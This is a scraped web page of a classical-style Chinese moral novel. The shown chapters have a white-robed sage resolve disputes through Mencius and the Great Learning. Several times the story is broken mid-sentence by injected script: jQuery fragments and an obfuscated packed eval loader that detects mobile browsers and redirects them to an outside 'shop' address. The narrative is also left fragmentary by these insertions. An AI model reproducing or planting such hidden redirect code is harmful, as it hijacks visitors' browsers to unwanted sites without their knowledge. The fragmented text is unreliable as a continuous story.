() { $(''.inform'').remove(); $(''#content'').append('' 役，因索薪被诬。遇赦筑堤，建疠所，补城防。后修关隘，固边疆。辞官为匠，传技授徒，堤固城坚。 胶盐碑：鱼盐贩，本盐民，因争秤入狱。遇赦分洪，煮盐消毒，寻薯渡海。后通盐铁，富边民。辞官为商，平价惠民，盐路畅通。 碑成，万民来观。白衣人指碑道：“天降大任，未必是王侯将相。能忍人所不能忍，成人所不能成，便是大任。此三人，昔为死囚，今为民望，正是忧患所成。” 尾声三囚传 后十年，齐国大熟，民忘忧患。有贵公子骄奢，游阿城，见忧患碑，嗤：“饿体肤，劳筋骨，贱役耳，何足道？” 忽有老农荷锄过，闻之怒：“若无此三人，尔早饿死沟壑！”乃畎亩奴也。 有老匠修碑亭，叱：“若无堤防，尔家园早成泽国！”乃版筑徒也。 有老商贩茶过，笑：“若无盐路，尔食无味！”乃鱼盐贩也。 贵公子惭。三老相视而笑，共坐碑下，饮茶话旧。 白衣人影现碑顶，歌曰： “舜亩傅筑胶盐中， 天降大任先苦穷。 动心忍性益不能， 然后生于忧患丛。 安乐本是死亡穴， 忧患方成济世功。 寄语世间纨绔子， 莫将困厄怨苍穹。” 歌罢，掷木剑插碑前，化松一株，虬枝铁干，经霜愈翠。 自是，每有困厄者，皆来拜碑。有书生落第，泣于碑下。畎亩奴劝：“吾昔为死囚，今为乡老。君一时不第，何馁？” 有商贾破产，欲自尽。版筑徒劝：“吾昔筑城无酬，今传技养生。君本钱可再挣，命不可再。” 有盐民被欺，欲械斗。鱼盐贩劝：“吾昔争秤入狱，今通商惠民。君可告官，勿斗。” 三老常携村童游碑，指字教诵： “舜发于畎亩，傅说举于版筑，胶鬲举于鱼盐…” 童声琅琅，松风飒飒。 似在说： 苦啊，劳啊，饿啊，乏啊。 动心忍性，曾益不能。 本章诫世 一、 忧患成人 - 舜、傅说、胶鬲、管仲、孙叔敖、百里奚，皆起于困厄 - 破解法：遇困厄时，当思天将降大任，苦其心志，劳其筋骨，动心忍性 - 示例：三囚历死囚、洪水、瘟疫、饥荒，反成民望 二、 动心忍性 - 苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为 - 惕世：多少人遇小挫即馁？受小苦即怨？ - 反思：可曾在困厄中“动心忍性”？可曾在拂乱中“曾益不能”？ 三、 生死之鉴 - 入则无法家拂士，出则无敌国外患者，国恒亡 - 深层隐喻：安乐如鸩，忧患如药 - 终极指向：生于忧患，死于安乐。个人如此，家国亦如此 忧患偈： 舜亩傅说胶鬲徒，皆自困厄起泥涂。 天将大任降斯人，必先苦劳饿乏躯。 动心忍性益不能，困虑征发而后喻。 生于忧患死安乐，至今碑前松影疏。 后世叹： 三囚刑场待死时，谁知他年为民师？ 筋骨劳苦心志砺，体肤饿乏身空疲。 洪水瘟疫饥荒历，反成济世大功基。 寄语世间遭困者，莫将忧患怨天时。 正是： 天将大任降人寰，先使困厄历苦艰。 饿体劳筋空乏身，行拂乱为动心颜。 三囚昔年戴罪死，一朝奋起拯时艰。 忧患碑前松长翠，生死箴言在此间。 61. 不屑谳 楔子·叩师门 鲁地泗水畔，有富家子田骄，年十六，厌文喜武。父田稷延名师教之，三年间气走七位夫子。是日，第八位夫子愤然掷书：“竖子不可教！”拂袖而去。 田稷怒，将子囚于书房，叱曰：“再逐师，断尔弓马！” 田骄冷笑：“腐儒何能教我？” 忽闻窗外有人拊掌：“说得好！” 田骄推窗，见一白衣人倚柳而立，斗笠面纱，木剑负背，襟带当风。 “先生笑我？” “非笑尔，是笑尔父。”白衣人声如清磬，“彼不知教亦多术。强以腐儒教鹰，是驱鹰入笼也。” 田骄跃窗出，揖道：“先生知我！然父命难违，如之奈何？” “吾有一术，可解尔困。”白衣人自袖中取竹简，上书八字：“不屑之教，亦是教诲。” 田骄惑：“何解？” “随我来。” 一、 拒教谳 白衣人引田骄至山间草庐。庐前溪畔，有老翁垂钓，蓑衣斗笠，如石如木。 “此乃钓叟先生，可教尔。”白衣人指道。 田骄见钓叟枯瘦，心轻之，傲然揖道：“小子田骄，愿学万人敌之术。” 钓叟不答，目注浮漂。 田骄提声：“先生可闻？” 钓叟仍不应。 田骄恼，折柳枝舞剑，呼呼生风，炫于钓叟前。钓叟目不斜视。 田骄怒，以柳枝击水面，水花溅钓叟衣。钓叟纹丝不动。 如是三日，钓叟未发一语。田骄气馁，问白衣人：“先生荐此哑人，岂非戏我？” 白衣人笑：“教亦多术。钓叟不屑教尔，正是教尔。” “不屑教，何以是教？” “尔自负弓马，轻慢文人，可知何为真正的‘万人敌’？” 田骄昂首：“项羽力能扛鼎，关羽温酒斩将，此万人敌！” “项羽刎乌江，关羽走麦城，敌万人，不能敌己。”白衣人拾一石子投溪，“尔三日挑衅，钓叟如石沉水，波澜不惊。此等定力，可敌万军否？” 田骄怔然。白衣人续道：“钓叟不屑教，是教尔‘静’。尔若能悟，胜读十年兵书。” 田骄疑，复至溪边。此次不舞不哗，静坐观钓。钓叟仍不语，然递一竿与田骄。田骄学样垂钓，初时焦躁，久之心渐平。三日，钓得一鲤。 钓叟始开口，声如古井：“可教矣。” 田骄拜服：“先生何以三日前不教我？” “三日前，尔心如沸水，如何垂钓？今稍定，方可学静。吾不屑教，是待尔静。”钓叟提竿，“兵家万人敌，在静不在动。静可观势，静可蓄力，静可制怒。尔三日挑衅，吾若应，是堕尔躁境。不屑应，是提尔入静境。此即不屑之教。” 田骄大悟。白衣人拊掌：“善！孟子云：‘予不屑之教诲也者，是亦教诲之而已矣。’钓叟得之。” 二、 弃徒谳 田骄学钓三月，心性渐稳。父田稷闻子从钓叟，怒，遣家丁强掳归。田骄不从，田稷亲至草庐，斥钓叟：“吾儿当学圣贤书，岂可学渔樵之术？” 钓叟不答，收竿入庐，闭门不纳。 田稷叩门三刻，不应。怒叱：“老匹夫敢尔！” 白衣人忽现，笑问：“田公欲子成才否？” “自然！” “钓叟不屑与公语，亦是教公。”白衣人倚树，“公延师七年，师皆败退，可知其故？” 田稷语塞。白衣人道：“公只知教，不知教亦多术。子如野马，公强以缰，马愈狂。钓叟不施缰，任其驰骋，待其自累，方施辔。此不屑之教，公可悟？” 田稷冷笑：“荒谬！不教何以成才？” “公强教，子成才否？” 田稷哑然。白衣人续道：“公如农人，子如苗。公日日拔苗，苗岂不枯？钓叟不拔，待其自长，适时培土，苗乃秀。公何不见，令子三月，可静坐半日？昔可乎？” 田稷思子昔状，确无静时。遂揖钓叟门：“先生恕罪。然吾子终究需学经世之术。” 钓叟内应：“可送至云崖先生处。” 云崖先生，鲁地狂士，居绝壁洞中，终身不下山。田稷疑，白衣人劝：“此又一教法。” 田骄至云崖洞，拜求兵法。云崖先生箕踞，抛一破碗：“去山下溪中，舀水三千碗，注满洞前石臼。” 田骄不敢违，往返三日，方满。云崖瞥之，一脚踢翻：“再去舀。” 田骄忍怒，又三日满。云崖又踢翻：“水浊，不可用。” 田骄愤：“先生戏我乎？” 云崖冷笑：“兵者，诡道也。尔但知明攻，不知暗袭。吾令尔舀水，尔但舀，不知堵溪截流，一劳永逸。愚哉！” 田骄怔住。云崖道：“不屑教尔诡道，是待尔自悟。今点破，是教尔‘变’。去，重舀。” 此次，田骄堵溪成潭，以竹管导水入臼，半日而满。云崖颔首：“可教矣。” 田骄学三月，云崖忽逐之：“去！吾不屑教矣。” 田骄惑，白衣人现身：“先生已教尔‘诡’，今不屑教，是教尔‘止’。兵者凶器，不可尽学。知进知止，方为全术。” 田骄拜谢，云崖闭目不应，是亦应也。 三、 绝学谳 田骄归家，父见其沉稳有谋，大喜。适逢盗匪劫乡，田稷欲遣子从军剿匪，建功立业。田骄往见白衣人：“先生，我当往否？” 白衣人引其见第三师——樵隐先生，居废窑中，终日劈柴。 田骄拜求兵法，樵隐指柴垛：“劈柴。” 田骄遵命，日劈百斤。樵隐观之，摇首：“力有余，巧不足。”自劈一柴，纹路如画。 田骄学之，三月，可劈柴成纹。樵隐又摇首：“巧有余，道不足。” “何为道？” 樵隐不答，劈柴不止。又三月，田骄忽悟：“劈柴顺纹，用兵顺势。是谓道？” 樵隐目亮，取炭于壁书八字：“兵无常势，水无常形。” 田骄临写，樵隐观后，竟以掌抹去，斥：“学我者死，似我者生。尔已入门，可去。” 田骄不舍，樵隐闭目入定，三日不语。田骄无奈辞行。白衣人候于道：“先生抹字，是教尔‘破’。劈柴有道，用兵亦有道，然道不可执。执则僵，僵则败。不屑再教，是逼尔自创。” 田骄恍然。归乡后，逢盗匪来犯，乡勇无主。田骄以“静、变、破”三术御之：先静守不出，待敌躁；再变阵诱敌，分而击之；终破敌巢，擒匪首。乡里得安。 庆功宴上，父老问用兵之妙。田骄答：“三师所教：钓叟教静，云崖教变，樵隐教破。然三师皆有不屑教时，正因不屑，方逼我自悟。此孟子所谓‘不屑之教诲，是亦教诲’也。” 满座叹服。白衣人拊掌：“善哉！教亦多术，不屑其一。能悟者，片叶渡江；不悟者，宝山空回。” 四、 三师碑 田骄于泗水畔立“三师碑”，记钓叟、云崖、樵隐教诲之恩。碑阴自跋： “余少顽劣，气走七师。 遇白衣先生，引见三师。 钓叟不屑语，教吾静； 云崖不屑继，教吾变； 樵隐不屑传，教吾破。 皆以不屑为教， 使余自悟。 乃知教亦多术， 不屑之教， 乃大教也。” 碑成，有学子慕名访三师。钓叟已遁，留石臼一，中蓄清水，旁刻“躁时自观”。云崖封洞，洞口题“诡道止此”。樵隐焚窑，灰烬中存焦木，形如“破”字。 白衣人指碑谓众学子：“教如医病，有正治，有反治。不屑之教，反治也。今人多重耳提面命，轻点化默示，是以师愈多，才愈寡。” 有儒生驳：“圣人有教无类，岂有不屑教之理？” 白衣人笑：“孔子诲人不倦，然亦曰‘举一隅不以三隅反，则不复也’。不复，即不屑再教。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088213|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉求为季氏聚敛，子曰‘非吾徒也，小子鸣鼓而攻之’。此不屑之教也。教非一味灌输，是启其自悟。不屑者，非绝情，是峻法。” 又有一富商携子来，子愚钝，气走多师。富商求白衣人教。白衣人问子：“尔愿学何？” 子嚷：“学赚钱！赚大钱！” 白衣人取一钱投地，以足碾入土，曰：“去，三日后，此钱若发芽，吾教尔赚钱。” 子惑，蹲守三日，钱不生芽。白衣人问：“悟否？” 子摇首。白衣人叹：“钱非种子，焉能发芽？尔视钱如命，心田已芜，纵有良师，何能教？吾不屑教，是教尔：谋财先谋心。” 富商惭，携子归。后其子改过，营商以信，人称“小陶朱”。 尾声不屑歌 十年后，田骄为将，御边有功，然不恋权位，急流勇退，归隐泗水。每有少年问学，辄引观三师碑。 是日，有狂生讥：“三师皆隐，焉知其教之真？” 田骄不答，取弓射雁，一箭落双。狂生惊服。田骄道：“此一箭双雕，钓叟教我静心，云崖教我变机，樵隐教我破势。三师虽隐，其教在我身。尔只见师隐，不见教存，是未悟不屑之教也。” 狂生拜服。白衣人影现碑顶，歌曰： “教亦多术岂一端？ 不屑之教尤峻峦。 钓叟不语教静定， 云崖闭洞教变幻。 樵隐焚窑教破立， 三师不屑胜千般。 寄语世间为师者， 莫将耳提作圭臬。” 歌罢，掷木剑插碑前，化竹一丛，劲节凌云。 自是，每有师者过碑，必自省：可曾不屑教？不屑中，可有教诲？ 有严师苛责弟子，弟子不服。师引至碑前，示田骄故事，曰：“吾责尔，是望尔悟。非不屑教，是峻教。” 弟子悟，发愤有成。后为师，亦效此法。 白衣人尝夜坐碑下，有童子问：“先生，天下有不可教者乎？” “无。”白衣人答，“唯教法需变。不屑教，亦是一法。譬如医者，有以毒攻毒；师者，有以不教为教。” 童恍然。时值秋深，竹声飒飒，如诵如诉。 似在说： 教啊，教啊。 多术，多途。 不屑，亦是。 本章诫世 一、 教之多术 - 教有耳提面命，也有不屑教诲 - 破解法：为师者，当因材施教，法无定法；为徒者，当自悟自省，处处是教 - 示例：钓叟不语教静，云崖闭洞教变，樵隐焚窑教破 二、 不屑之教 - 不屑教诲，亦是教诲。看似无情，实为峻切 - 惕世：多少师者只知灌输，不懂点化？多少弟子只求喂哺，不思自悟？ - 反思：可曾遇“不屑之教”？是怨怼，还是反思？ 三、 自悟为要 - 教为渡舟，悟为登岸。不屑教，是逼其自渡 - 深层隐喻：真学问皆自悟得，非全由人授 - 终极指向：教亦多术，不屑一法；学在自悟，不在多师 不屑偈： 田骄顽劣气七师，白衣引见三师奇。 钓叟不语教静定，云崖闭洞教变机。 樵隐焚窑教破立，不屑之教启愚痴。 乃知教诲多术法，何必耳提面命疲。 后世叹： 孟子言教术多方，不屑教诲亦文章。 田骄得遇三师点，静变破悟用兵强。 寄语世间为师者，莫执一法误栋梁。 学童自悟方为得，耳提面命终是常。 正是： 教诲多术岂一途？不屑之教亦良图。 钓叟不语静中得，云崖闭洞变里趋。 樵隐焚窑破后立，三师不屑胜嗫嚅。 寄语学海求渡者，莫怨无人指迷途。 62. 明德谳 楔子·灯下虫 梁地有寒儒明修，夜读于破庙，灯下展《大学》卷，诵至“明明德，亲民，止至善”，长叹：“德何以明？民何以亲？至善何以止？” 忽有白衣人踏月入庙，斗笠面纱，木剑悬腰，应声曰：“欲明明德，先格物。” 明修揖问：“物何以格？” 白衣人指灯下蠹虫：“虫在烛畔盘旋，趋光而舞，此虫之明德乎？” “虫本逐光，天性也，何关明德？” “人亦逐利，天性也，何以别于虫？”白衣人拂袖，虫坠案上，“格物者，格其本末也。虫逐光，是逐明灭之外光；人明德，是明心中之明德。一外一内，本末立判。” 明修惑然。白衣人取炭，就破壁书《大学》开章，至“自天子以至于庶人，壹是皆以修身为本”，掷炭曰：“今有一案，关乎修身之本，可愿观之？” “愿从。” 一、 本末谳 梁城西街有富户贾厚，家财万贯，然夫妇不睦，父子相怨，兄弟阋墙。是日，贾厚五十寿宴，三子争产，竟于堂前殴斗，杯盘尽碎。贾厚气厥，卧病不起。 有游方郎中献“续命丹”，索千金。长子贾仁购之，次子贾义疑为假，三子贾礼骂兄愚鲁。三人争执不下，丹未服，贾厚已亡。 丧事未毕，三子对簿公堂。县令难断，悬为疑案。 白衣人引明修至贾府，指灵堂问：“此家之乱，乱在何处？” 明修叹：“乱在争产。” “非也。”白衣人摇头，“乱在本末倒置。《大学》云：‘其本乱，而末治者，否矣。’此家之乱，乱在本末。父子兄弟，伦常为本；财货产业，身外为末。今舍本逐末，故乱。” 明修恍然。白衣人又道：“贾厚生前，厚外薄内：厚待宾客，薄待家人；厚积钱财，薄修德行。此所谓‘其所厚者薄，而其所薄者厚，未之有也’。本末既乱，家岂不亡？” 正言间，三子又于庭中厮打。白衣人拾石击庭钟，钟鸣震耳，三子愕然止。 白衣人朗声：“尔父尸骨未寒，尔等不悲不哀，但争阿堵物，可愧对‘人’字？” 贾仁嚷：“家产不均，何以守孝？” “家产不均，因何而起？”白衣人问，“因尔父不公？因尔母偏私？皆非。因尔等不知‘修身为本’。” 三子嗤笑。白衣人指明修：“此儒生，身无分文，然心中有明德。尔等锦衣玉食，心中惟货利。孰富？孰贫？” 贾义怒：“腐儒何知生计！” 白衣人不答，取贾厚灵牌，以袖拂尘，现出背后刻字，乃贾厚少年时所志：“修身齐家，厚德载物”。三子见之，皆怔。 “尔父初志在此，后逐利忘本，乃至今日。”白衣人叹，“物有本末，事有终始。尔父以末为本，故有恶终。尔等欲步后尘否？” 三子默然。白衣人曰：“今愿为尔等明本末，可听否？” 二、 格物谳 白衣人引三子至贾府库房。但见金银盈室，绸缎如山。贾仁傲然：“此吾家之本！” “此物之本，在何处？”白衣人问。 “在地窖。” “地窖之金，来自何处？” “来自铺面。” “铺面之利，来自何处？” “来自客商。” “客商为何与你交易？” 三子语塞。白衣人曰：“因尔父昔年守信，因货真价实，因童叟无欺。此‘信’、‘实’、‘公’，方是利之本。尔父得利后，渐忘其本：以次充好，欺老诈幼，此利岂能长久？” 开库取账册，指一行：“三年前，尔父以霉米充新米，致疫病，死七人。此事尔等可知？” 三子汗下。白衣人又指一行：“去岁，尔父强购贫户田产，致其家破人亡。此事尔等可知？” 贾礼颤声：“吾等…只知数钱。” “是矣！尔等只见利之末，不见利之本。”白衣人掷账册，“《大学》云：‘致知在格物’。格物者，穷究事物之本末也。尔等不格家业之本末，但争其末，是缘木求鱼。” 遂命三子闭目静思：“尔父如何起家？如何守业？如何败德？一一想来。” 半日，贾仁睁目泣：“吾父起于担货郎，一根扁担两只筐，全凭‘信’字立身。” 贾义恸：“吾父壮年时，逢灾年，开仓放粮，人称‘贾善人’。” 贾礼嚎：“后渐富，渐贪，渐刻薄…吾等耳濡目染，亦成逐利之徒！” 三子抱头痛哭。白衣人颔首：“此即格物。格家业，知‘信’为本；格己身，知‘德’为根。今既知本，可齐家否？” 三、 修身谳 三子悔悟，愿重修德行。然积怨已深，如何齐家？白衣人引明修为证，设“修身堂”于贾府。 首日，命三子各述己过。贾仁曰：“吾为长，不友弟，不孝父，贪财吝啬。”贾义曰：“吾猜忌兄，顶撞父，奢侈无度。”贾礼曰：“吾幼而骄，侮兄慢父，挥霍成性。” 白衣人录其过于壁，曰：“知过是格物，改过是修身。今各思如何改。” 贾仁曰：“吾愿让产，与弟均分。” 贾义曰：“吾愿守铺，重树‘信’字。” 贾礼曰：“吾愿济贫，赎父之过。” 白衣人摇首：“此皆末也。齐家之本在修身，修身之本在正心诚意。尔等心未正，意未诚，但行善事，如无根之木。” 遂教以“正心法”：每晨静坐，自问“今心可正？意可诚？”又教“诚意法”：遇事自省“可有欺瞒？可有偏私？” 一月后，贾仁让产，贾义、贾礼皆不受，互让再三，终议共管。三人同食同寝，有物共享，有难共担。 白衣人谓明修：“此即修身而后家齐。然未止也。” 忽有昔年受害之家，聚众闹府，索偿命债。三子欲以金帛平事，白衣人止之：“此正需诚意正心。” 贾仁率弟出门，跪地谢罪，愿受国法。苦主愤曰：“偿命来！” 白衣人出面调停：“贾父已死，三子悔悟。偿命无益，不如偿德。”提议：贾家散财七成，赎罪补过：一设义仓，济灾民；二立义塾，教贫童；三修义冢，葬孤骨。 苦主犹愤。白衣人问：“尔等欲其死，或欲其生而赎罪？” 一老妪泣：“吾儿死不能复生。若彼真能行善，慰亡魂于九泉，老身…可恕。” 众苦主皆恸，许之。三子乃散家财，力行三义。梁城百姓初疑，后见其诚，渐称“贾氏三善”。 白衣人谓明修：“此即诚意正心，修身齐家，进而惠民。然仍未止于至善。” 四、 至善谳 贾氏行善三年，誉满梁城。有司欲表为“孝义之家”，三子拒曰：“吾等赎罪耳，岂敢邀誉？” 是年大疫，贾家开仓施药，三子亲入疫区。贾仁染疫，贾义、贾礼不离左右。百姓感泣，共祷苍天。 白衣人引明修探病，问贾仁：“悔否？” 贾仁卧榻笑：“昔争产时，生不如死；今行善时，死亦如生。吾心甚安。” “心安，是知止而后有定，定而后能静，静而后能安。”白衣人颔首，“尔等已近道矣。” 贾仁病愈，三子更励。梁城有恶少结党欺市，贾礼往劝，恶少嗤：“伪善之徒！”掷石伤其额。贾礼不怒，曰：“吾昔年亦如尔等。”遂日日往劝，供其饮食，教其手艺。半年，恶少感化，称为“礼兄”。 白衣人谓明修：“此即亲民。亲民非施惠，是以身化人。贾礼以德报怨，恶少乃化。孟子云‘亲亲而仁民’，此之谓也。” 又一年，梁城令贪墨，欲夺贾家余产。贾义携账册公之于众，全城哗然。令惧，罢贪念。百姓赞贾家“护民如家”。 白衣人问三子：“今可止乎？” 三子答：“行善不可止。” “善。”白衣人拊掌，“《大学》云‘在止于至善’。至善无止境，然心有止境。知所当止，是明德；行所当行，是亲民。尔等修身齐家，化及一城，可近至善矣。” 遂于贾府旧址立“明德碑”，刻《大学》全章。又立“修身亭”、“齐家坊”、“亲民祠”，记贾氏事。 碑成日，白衣人指碑谓明修：“明明德，非独明一己之德，是明人人本有之德。贾氏三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无止无息。” 刻罢，踏月而去。自此，梁城童子多传《明德谣》： “大学道，在明德， 明德先从修身得。 身修而后家可齐， 家齐然后国可治。 自天子，至庶人， 修身是本末是叶。 本乱末治古未有， 厚薄颠倒要不得。 格物致知诚意正， 一步一步向至善。 至善无终心有终， 明德亲民是准则。” 谣声起处，松风相和。 似在说： 明德啊，亲民啊，至善啊。 在本，在身，在心。 本章诫世 一、 明德之本 - 大学之道在明明德，在亲民，在止于至善 - 破解法：凡事自问：此事可明我德？可亲民？可近至善？ - 示例：贾氏三子从争产到行善，是格物知本、修身明德之历程 二、 修身为基 - 自天子以至于庶人，壹是皆以修身为本 - 惕世：多少人追逐财、色、名、利（末），忽视修身立德（本）？ - 反思：可曾本末倒置？可曾厚其所薄，薄其所厚？ 三、 格致功夫 - 欲修其身，先正其心；欲正其心，先诚其意；欲诚其意，先致其知；致知在格物 - 深层隐喻：一切功夫，从格物开始。格眼前事，明当下心 - 终极指向：物格知至，意诚心正，身修家齐，国治天下平 大学偈： 大学之道明德先，修身齐家治国连。 物有本末事终始，知所先后近道玄。 贾氏三子争产乱，格物知本善行绵。 寄语世间迷途客，莫将末节当本源。 后世叹： 贾家三子初愚蒙，争产忘本似癫疯。 白衣指点明德路，格物修身渐贯通。 散财赎罪行三义，正心诚意化顽风。 至今梁城碑犹在，明月清风诉始终。 正是： 大学开章明德篇，修身齐家治国先。 贾氏三子争产乱，白衣一指本末颠。 格物致知诚意正，亲民向善至善缘。 寄语世间求道者，莫向他处觅真诠。 63. 自明谳 楔子三匾讼 晋阳城有古寺曰“明德寺”，寺藏三匾，乃镇寺之宝：一曰“克明德”，紫檀为底，金丝嵌字，传为周时古物；二曰“顾明命”，青铜铸就，篆文斑驳，云是商代遗珍；三曰“克明峻德”，白玉雕成，温润生辉，据言尧舜时制。三匾悬于大雄宝殿，受百年香火。 是年仲春，寺中老方丈圆寂。监寺了尘、藏经阁主了因、知客了缘，三位高僧竟为方丈之位相争，各执一匾为凭。 了尘抱“克明德”匾曰：“此匾喻‘能明己德’，吾掌寺务三十载，德望最著，当为方丈。” 了因捧“顾明命”匾曰：“此匾言‘顾念天命’，吾精研经典，通晓法理，天命在吾。” 了缘托“克明峻德”匾曰：“此匾谓‘能明大德’，吾接引十方，广施善缘，德被四方，舍我其谁？” 三僧争执不下，竟至闭寺相峙。香客不得入，徒叹“明德寺不明德”。 是夜，有白衣人叩寺门。小沙弥启扉，见来人斗笠面纱，白衣木剑，风姿出尘，急报三僧。了尘隔门问：“施主何事？” 白衣人声朗如磬：“闻贵寺三匾蒙尘，特来拂拭。” 了因疑：“三匾光洁，何尘之有？” “匾无尘，人有尘。”白衣人推门直入，立殿前指三匾，“《康诰》曰‘克明德’，《大甲》曰‘顾寔天之明命’，《帝典》曰‘克明峻德’。三匾皆言‘自明’，今三师争匾，是自明耶？自昧耶？” 三僧赧然。白衣人续道：“某有一法，可解此争。请三师各持匾，随我行一日，见一场‘自明’公案。” 一、 克明德谳 白衣人引三僧至城西贫坊。坊中有老妪孙氏，年七十，盲一目，以织席为生。邻有恶少牛三，常欺其老弱，或窃其薪，或毁其席。是日，牛三又夺孙氏刚织就的苇席，欲以抵债。 孙氏泣求：“此席乃老身三日功，欲换米度日…” 牛三嗤：“老虔婆欠某三十钱，三年未还，一席尚不足息！” 白衣人向了尘：“师持‘克明德’匾，当明何德？” 了尘合十：“当明慈悲德。”遂上前劝牛三，“施主，欺老凌弱，有损阴德。请还席与妪，欠钱可缓图。” 牛三瞪目：“秃驴少管闲事！” 了尘再劝，牛三竟挥拳相向。了尘闪避，怀中“克明德”匾险些坠地。白衣人叹：“师只知劝人明德，己德何在？匾在怀，德在心乎？” 了尘怔住。白衣人指孙氏：“此妪一目盲，仍织席自食；牛三双目全，却欺人自肥。孰明德？孰昧德？” 了尘汗下，忽置匾于地，解袈裟当铺，质钱三十，付牛三：“此钱代孙氏还债，请还其席。” 牛三愕然，接钱去。孙氏拜泣。了尘扶起：“贫僧持匾三十年，今日方知‘克明德’非言说，是践行。谢施主点拨。”背起孙氏，“老菩萨，随贫僧回寺，寺有斋堂，可奉终身。” 白衣人拊掌：“善！能明己德，是谓克明德。师今舍衣济困，匾可明矣。” 了尘携孙氏归。了因、了缘相视，若有所思。 二、 顾明命谳 白衣人又引二僧至城南书塾。塾师范先生，屡试不第，愤而授童蒙。是日，有富户赵某携子入学，掷金于案：“好生教吾儿，将来中举，另有重谢！” 范先生见金目眩，诺诺连声。赵子顽劣，扰塾不止。范先生畏其父，不敢严管。穷童李生勤学，反受冷落。 白衣人问了因：“师持‘顾明命’匾，天命何在？” 了因肃然：“天命在教化。有教无类，方合天道。” “今范先生见富生则谀，见贫生则漠，是有教无类否？” 了因摇头，捧匾入塾，朗声：“范先生，可识此字？” 范先生见青铜古匾“顾明命”，怔道：“此…商鼎文？” “正是。”了因指字，“‘顾寔天之明命’，言顾念上天赋予之明命。先生既为人师，上天予尔明命，是教化英才，非谄富欺贫。今尔所为，是顾天命耶？顾金银耶？” 范先生面赤。了因又对赵某：“施主，天命予尔财富，是令尔行善积德，非纵子凌人。今尔以金压师，是教子以势，非教子以德。岂不闻‘积善之家必有余庆’？” 赵某嗤：“和尚懂甚！” 了因忽举匾，声震屋瓦：“此匾传自商汤，汤以六十里兴邦，在敬天命、修己德。今尔等富贵，不思敬天修德，反逆天害理，岂能长久？” 满塾皆惊。赵某气短，携子悻悻去。范先生拜谢：“师一言惊醒梦中人。某从此当一视同仁，有教无类。” 白衣人问了因：“师今行教化，是顾天命否？” 了因叹：“贫僧终日诵经，以为知天命。今方知，天命在眼前：富者当教，贫者当教，师者当正，学者当勤。顾念及此，方是顾明命。”遂留塾三日，为蒙童讲“天命在自强，不在门第”。 归寺时，了因步履轻健。白衣人笑：“匾重否？” 了因答：“昔觉千斤，今觉四两。心明，则匾轻矣。” 三、 克明峻德谳 白衣人最后引了缘至城北码头。苦力张三，力大性暴，常殴伤同伴。是日，因争扛包，又将李四打昏。众苦力围殴张三，码头大乱。 了缘捧“克明峻德”匾，欲劝。白衣人止之：“师持此匾，当明何德？” “当明大德，化解纷争。” “如何化解？” 了缘上前，高诵佛号。众苦力不理，斗愈烈。了缘急，护住伤者，以身挡拳，挨了数下，匾角磕损。 白衣人叹：“师只知‘明峻德’，不知‘克明’。克者，能也。能明大德，需先明其本。此斗之本，在穷苦争食。不解其本，但劝其和，如扬汤止沸。” 了缘恍然，置匾于地，竟解僧衣，露瘦骨，步入苦力群中：“莫打！莫打！要打打贫僧！” 众苦力愕然住手。了缘扶起张三、李四，问：“因何相斗？” 张三愤：“他抢某活计！” 李四泣：“某家老母病重，等钱抓药…” 了缘叹，自怀中取全部积蓄——五两碎银，予李四：“快去抓药。”又对张三，“施主力大，可多扛包，何必争抢？贫僧与码头主说情，让你多扛些。” 遂见码头主，恳求均派活计。码头主感其诚，允诺。张三、李四皆愧，互揖致歉。 白衣人问了缘：“师今所为，是明峻德否？” 了缘拭汗：“峻德非高高在上，是低低在下。能明此德，需先克己：克己之傲，克己之执，克己之私。今贫僧舍衣、舍财、舍身，方稍有所悟。”捧起匾，抚损角，“匾损可修，德损难补。今日一损，反令贫僧明德。” 白衣人拊掌：“善哉！《帝典》曰‘克明峻德’，能明大德者，必先克己。师今能克己利人，是明峻德矣。” 四、 自明偈 三僧归寺，相视而笑。了尘曰：“吾争方丈，是为虚荣，非为明德。”了因曰：“吾争方丈，是为权位，非为顾命。”了缘曰：“吾争方丈，是为名望，非为峻德。” 白衣人指三匾：“《康诰》曰‘克明德’，《大甲》曰‘顾寔天之明命’，《帝典》曰‘克明峻德’。三句皆言‘自明’——自己明己德，自己顾天命，自己明大德。今三师经此一日，可自明否？” 三僧合十：“自明矣。” 遂共推年长有德的了尘为方丈，了因掌藏经阁，了缘为知客，和合如初。寺门重开，香客复至。 白衣人于大殿说法，指三匾道： “克明德，是自明明德。如了尘师，舍衣济困，是明己慈悲德。 顾明命，是自顺天命。如了因师，正师化俗，是顾教化天命。 克明峻德，是自成大德。如了缘师，克己利人，是成和合大德。 三德皆需自明，非外求，非他予。今人但知诵经礼佛，不知反求诸己；但知争名逐利，不知明德顾命。此三匾蒙尘之故也。” 有香客问：“吾等俗人，何以自明？” 白衣人答：“农夫耕田，尽心竭力，是克明德；商贾交易，童叟无欺，是顾明命；士子读书，志在圣贤，是克明峻德。德不在高，在自明；命不在大，在自顾；峻不在显，在自成。人人肯自明，天下皆明德。” 又有一书生问：“三匾古物，价值连城。今寺僧不争，若外人来盗，如之奈何？” 了尘笑：“匾之贵，在铭文，不在材质。铭文在心，匾可毁，文不可灭。若有人盗匾，是盗木石金银；若有人铭文于心，是得无价宝。” 白衣人颔首，取木剑，就殿前青石刻偈：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白衣人偶过寺前，闻童言，莞尔。取炭就碑阴添八字： “匾是镜，照己形。 德是灯，亮己心。 自明者， 不求人明。” 是夜，明德钟声格外清越，满城皆闻。有更夫歇担听钟，喃喃： “克明德…顾明命…克明峻德… 嘿，不就是：做好人，守本分，行大善么！” 